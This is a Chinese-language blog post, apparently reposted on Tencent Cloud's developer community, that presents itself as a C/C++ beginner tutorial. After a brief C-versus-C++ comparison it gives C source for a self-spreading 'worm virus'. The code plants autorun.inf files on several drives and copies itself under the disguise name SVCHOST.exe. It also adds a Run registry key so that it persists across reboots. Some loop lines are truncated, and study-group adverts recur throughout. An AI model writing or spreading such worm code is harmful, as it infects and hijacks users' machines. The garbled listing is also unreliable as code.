首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

C语言/C加加编程基础入门到精通开发学习—蠕虫病毒

C语言是面向过程的,而C++是面向对象的

C和C++的区别:

C是一个结构化语言,它的重点在于算法和数据结构。C程序的设计首要考虑的是如何通过一个过程,对输入(或环境条件)进行运算处理得到输出(或实现过程(事务)控制)。

C++,首要考虑的是如何构造一个对象模型,让这个模型能够契合与之对应的问题域,这样就可以通过获取对象的状态信息得到输出或实现过程(事务)控制。 所以C与C++的最大区别在于它们的用于解决问题的思想方法不一样。之所以说C++比C更先进,是因为“ 设计这个概念已经被融入到C++之中 ”。

C与C++的最大区别:在于它们的用于解决问题的思想方法不一样。之所以说C++比C更先进,是因为“ 设计这个概念已经被融入到C++之中 ”,而就语言本身而言,在C中更多的是算法的概念。那么是不是C就不重要了,错!算法是程序设计的基础,好的设计如果没有好的算法,一样不行。而且,“C加上好的设计”也能写出非常好的东西。

小编推荐一个学C语言/C++的学习裙【 六九九,四七零,五九六 】,无论你是大牛还是小白,是想转行还是想入行都可以来了解一起进步一起学习!裙内有开发工具,很多干货和技术资料分享!

// VirusProjss.cpp : 定义控制台应用程序的入口点。

//

// C语言开发蠕虫病毒

#include "stdafx.h"

#include

#include

#include

#define SVCHOST_NUML 6

char *autorun = { "[autorun] open=SVCHOST.exe shell\1=打开 shell\1 \Command=SVCHOST.exe shell\2\=Open shell\2\Command=SVCHOST.exe shellexecute=SVCHOST.exe" };

char *files_autorun[10] = { "c:\autorun.inf", "d:\autorun.inf", "e:\autorun.inf" };

char *files_svchost[SVCHOST_NUML + 1] = { "c:\windows\system\MSMOUSE.DLL",

"c:\windows\system\SVCHOST.exe", "c:\windows\SVCHOST.exe",

"c:\SVCHOST.exe", "d:\SVCHOST.exe", "e:\SVCHOST.exe", "SVCHOST.exe" };

char *regadd = "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SVCHOST /d C:\Windows\system\SVCHOST.exe /f";

// 数据文件复制功能

int DataCopy(char *pInFile, char *pOutFile)

{

FILE *fInput, *fOutput;

char temp;

if (strcmp(pInFile, pOutFile) != 0 && ((fInput = fopen(pInFile, "rb")) != NULL) && ((fOutput = fopen(pOutFile, "wb")) != NULL))

{

while (!feof(fInput))

{

fread(&temp, 1, 1, fInput);

fwrite(&temp, 1, 1, fOutput);

}

fclose(fInput);

fclose(fOutput);

return 0;

}

else

return 1;

}

void TestingVirusFunc()

{

FILE *input, *output;

小编推荐一个学C语言/C++的学习裙【 六九九,四七零,五九六 】,无论你是大牛还是小白,是想转行还是想入行都可以来了解一起进步一起学习!裙内有开发工具,很多干货和技术资料分享!

int i, k;

for (i = 0; i

{

output = fopen(files_autorun[i], "w");

fprintf(output, "%s", autorun);

fclose(output);

}

for (i = 0; i

{

if ((input = fopen(files_svchost[i], "rb")) != NULL)

{

fclose(input);

for (k = 0; k

{

DataCopy(files_svchost[i], files_svchost[k]);

}

i = SVCHOST_NUML + 1;

}

}

system(regadd); // 注册svchost.exe,让其在开机时自动启动

小编推荐一个学C语言/C++的学习裙【 六九九,四七零,五九六 】,无论你是大牛还是小白,是想转行还是想入行都可以来了解一起进步一起学习!裙内有开发工具,很多干货和技术资料分享!

}

int _tmain(int argc, _TCHAR* argv[])

{

TestingVirusFunc();

return 0;

}

运行效果如下:

这些是C/C++能做的

服务器开发工程师、人工智能、云计算工程师、信息安全(黑客反黑客)、大数据 、数据平台、嵌入式工程师、流媒体服务器、数据控解、图像处理、音频视频开发工程师、游戏服务器、分布式系统、游戏辅助等

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180328A1XGIW00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券